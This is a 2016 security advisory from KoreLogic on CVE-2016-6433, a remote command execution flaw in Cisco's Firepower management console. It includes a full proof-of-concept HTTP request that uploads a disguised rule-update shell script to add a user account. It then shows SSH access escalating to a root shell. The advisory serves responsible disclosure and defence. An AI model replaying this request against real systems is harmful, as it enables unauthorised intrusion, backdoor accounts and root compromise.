|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152  |  KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Title: Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Advisory ID: KL-001-2016-007 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt 1. Vulnerability Details  Affected Vendor: Cisco  Affected Product: Firepower Threat Management Console  Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  Platform: Embedded Linux  CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous  Type, CWE-94: Improper Control of Generation of Code  Impact: Arbitrary Code Execution  Attack vector: HTTP  CVE-ID: CVE-2016-6433 2. Vulnerability Description  An authenticated user can run arbitrary system commands as  the www user which leads to root. 3. Technical Description  A valid session and CSRF token is required.The webserver runs as  a non-root user which is permitted to sudo commands as root with  no password.  POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1  Host: 1.3.3.7  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate, br  DNT: 1  Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6  Connection: close  Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798  Content-Length: 813  -----------------------------15519792567789791301241925798  Content-Disposition: form-data; name="manual_update"  1  -----------------------------15519792567789791301241925798  Content-Disposition: form-data; name="source"  file  -----------------------------15519792567789791301241925798  Content-Disposition: form-data; name="file"; filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"  Content-Type: application/octet-stream  sudo useradd -G ldapgroup -p <code>openssl passwd -1 korelogic</code> korelogic  -----------------------------15519792567789791301241925798  Content-Disposition: form-data; name="action_submit"  Import  -----------------------------15519792567789791301241925798  Content-Disposition: form-data; name="sf_action_id"  8c6059ae8dbedc089877b16b7be2ae7f  -----------------------------15519792567789791301241925798--  HTTP/1.1 200 OK  Date: Sat, 23 Apr 2016 13:38:01 GMT  Server: Apache  Vary: Accept-Encoding  X-Frame-Options: SAMEORIGIN  Content-Length: 49998  Connection: close  Content-Type: text/html; charset=utf-8  ...  $ ssh korelogic@1.3.3.7  Password:  Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.  Cisco is a registered trademark of Cisco Systems, Inc.  All other trademarks are property of their respective owners.  Cisco Fire Linux OS v6.0.1 (build 37)  Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)  Could not chdir to home directory /Volume/home/korelogic: No such file or directory  korelogic@firepower:/$ sudo su -  Password:  root@firepower:~# 4. Mitigation and Remediation Recommendation  The vendor has acknowledged this vulnerability but has  not issued a fix. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc 5. Credit  This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline  2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  2016.06.30 - Cisco acknowledges receipt of vulnerability report.  2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product.  2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco.  2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco.  2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts.  2016.09.15 - Cisco confirms remediation is underway and soon to be completed.  2016.09.28 - Cisco informs KoreLogic that the acknowledgement details will be released publicly on 2016.10.05.  2016.10.05 - Public disclosure. 7. Proof of Concept  See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  |